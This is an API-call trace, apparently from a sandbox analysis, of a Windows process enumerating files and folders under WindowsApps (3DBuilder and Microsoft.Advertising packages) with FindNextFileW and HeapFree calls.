	[0092.202] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d83958 | out: hHeap=0x500000) returned 1
	[0092.202] FindNextFileW (in: hFindFile=0x3121810, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8da88b6d, ftLastAccessTime.dwHighDateTime=0x1d3274e, ftLastWriteTime.dwLowDateTime=0x8da88b6d, ftLastWriteTime.dwHighDateTime=0x1d3274e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="WindowsApps", cAlternateFileName="WI7DB9~1")) returned 1
	[0092.202] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0092.202] FindNextFileW (in: hFindFile=0x3121250, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2294c1cd, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x2294c1cd, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x2fd0dc5a, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x293a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="APPXSI~1.P7X")) returned 1
	[0092.574] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0092.574] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22a0ae1c, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x22a0ae1c, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x2fd0dc5a, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x122, dwReserved0=0x0, dwReserved1=0x0, cFileName="list.scale-100.png", cAlternateFileName="LISTSC~1.PNG")) returned 1
	[0092.575] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0092.575] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22a572ca, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x22a572ca, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x2fd0dc5a, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x181, dwReserved0=0x0, dwReserved1=0x0, cFileName="search.scale-100.png", cAlternateFileName="SEARCH~1.PNG")) returned 1
	[0092.657] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0092.657] FindNextFileW (in: hFindFile=0x3121250, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2310be20, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x2310be20, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x2fd0dc5a, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0xeb58, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="clrcompression.dll", cAlternateFileName="CLRCOM~1.DLL")) returned 1
	[0092.674] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0092.674] FindNextFileW (in: hFindFile=0x3121250, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x3002ee68, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xa967c915, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3002ee68, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0092.681] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0092.681] FindNextFileW (in: hFindFile=0x3121250, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2313207f, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x2313207f, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x2fd0dc5a, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x136470, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="resources.pri", cAlternateFileName="RESOUR~1.PRI")) returned 1
	[0092.681] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0092.681] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa967d4bd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Deleted", cAlternateFileName="")) returned 1
	[0092.682] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0092.682] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96c0f12e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb3c9c41d, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb3c9c41d, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.0_N")) returned 1
	[0092.697] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0092.697] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8c8b9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x96db2b17, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x96db2b17, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x296e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0092.698] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0092.698] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb3c9c41d, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xa973141d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb3c9c41d, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0
	[0092.698] FindClose (in: hFindFile=0x3121850 | out: hFindFile=0x3121850) returned 1
	[0092.698] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0092.698] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96dd8d87, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb3cc2682, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb3cc2682, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe", cAlternateFileName="MICROS~1.0_X")) returned 1
	[0092.698] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0092.698] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96dfefce, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x96dfefce, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x96dfefce, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2995, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0092.782] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0092.782] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x970ada35, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa98a4daf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x970ada35, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Contrast", cAlternateFileName="")) returned 1
	[0092.783] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0092.783] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x970ada35, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa98a6acd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x970ada35, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="contrast-white", cAlternateFileName="CONTRA~2")) returned 1
	[0092.783] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0092.783] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x970ada35, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa98a6acd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x970ada35, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="contrast-white", cAlternateFileName="CONTRA~2")) returned 0
	[0092.783] FindClose (in: hFindFile=0x3121510 | out: hFindFile=0x3121510) returned 1
	[0092.783] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0092.783] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x970ada35, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa98a7570, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x970ada35, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="contrast-black", cAlternateFileName="CONTRA~1")) returned 1
	[0092.783] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0092.783] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x970ada35, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa98a7e68, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x970ada35, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="contrast-white", cAlternateFileName="CONTRA~2")) returned 1
	[0092.783] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0092.783] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x970ada35, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x970d3c8f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x970d3c8f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1455, dwReserved0=0x0, dwReserved1=0x0, cFileName="CubeTile_contrast-black.png", cAlternateFileName="")) returned 1
	[0092.788] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0092.788] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x972809b4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x972809b4, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x972809b4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xe5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="HelpIcon_contrast-black.png", cAlternateFileName="")) returned 1
	[0092.788] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0092.788] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973009bb, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x97326c19, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x97326c19, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xcbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="LightBlue.png", cAlternateFileName="")) returned 1
	[0092.791] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0092.791] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9739a738, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9a9f7f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x974330d0, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="contrast-white", cAlternateFileName="CONTRA~2")) returned 1
	[0092.798] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0092.798] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x974330d0, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9745932e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9745932e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xbe1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Icon.targetsize-16.png", cAlternateFileName="")) returned 1
	[0092.799] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0092.799] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x974a57e1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x974a57e1, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x974a57e1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xcbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="MediumBlue.png", cAlternateFileName="")) returned 1
	[0092.802] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0092.802] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x975664ea, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9aa22bd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9758c747, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1
	[0092.802] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0092.802] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x975d8bfa, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x975d8bfa, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x975d8bfa, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xd09, dwReserved0=0x0, dwReserved1=0x0, cFileName="ScanIcon_contrast-black.png", cAlternateFileName="")) returned 1
	[0092.805] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0092.805] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9764f8c5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9b67c1d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x976e822e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow", cAlternateFileName="")) returned 1
	[0093.136] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0093.136] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x976e822e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9bd111d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x977346e6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NavColumn_Black", cAlternateFileName="NAVCOL~1")) returned 0
	[0093.137] FindClose (in: hFindFile=0x3121510 | out: hFindFile=0x3121510) returned 1
	[0093.137] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0093.137] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9764f8c5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9b67c1d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x976e822e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow", cAlternateFileName="")) returned 0
	[0093.137] FindClose (in: hFindFile=0x31214d0 | out: hFindFile=0x31214d0) returned 1
	[0093.137] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0093.138] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x977346e6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9853e192, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9853e192, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1023200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Builder3D.exe", cAlternateFileName="")) returned 1
	[0093.341] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0093.342] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98566969, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x98573136, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x98573136, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x32000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Lib3mfUAP.dll", cAlternateFileName="")) returned 1
	[0093.342] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0093.342] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98573136, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x98685908, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x98685908, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x6cf18, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0093.342] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0093.342] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x339fb10b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb4a05954, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb4a05954, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe", cAlternateFileName="MICROS~2.0_X")) returned 1
	[0093.343] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0093.343] FindNextFileW (in: hFindFile=0x31215d0, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33a6d81b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33a6d81b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33a6d81b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2991, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0093.343] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0093.343] FindNextFileW (in: hFindFile=0x31215d0, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33a93a75, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33ca9b72, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33ca9b72, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3e1998, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Advertising.dll", cAlternateFileName="")) returned 1
	[0093.343] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0093.343] FindNextFileW (in: hFindFile=0x3121450, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdfcbee3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xdfcbee3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xdfcbee3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Autogen", cAlternateFileName="")) returned 0
	[0093.343] FindClose (in: hFindFile=0x3121450 | out: hFindFile=0x3121450) returned 1
	[0093.343] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0093.343] FindNextFileW (in: hFindFile=0x31215d0, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33d27ae5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33d27ae5, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33d27ae5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0093.344] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
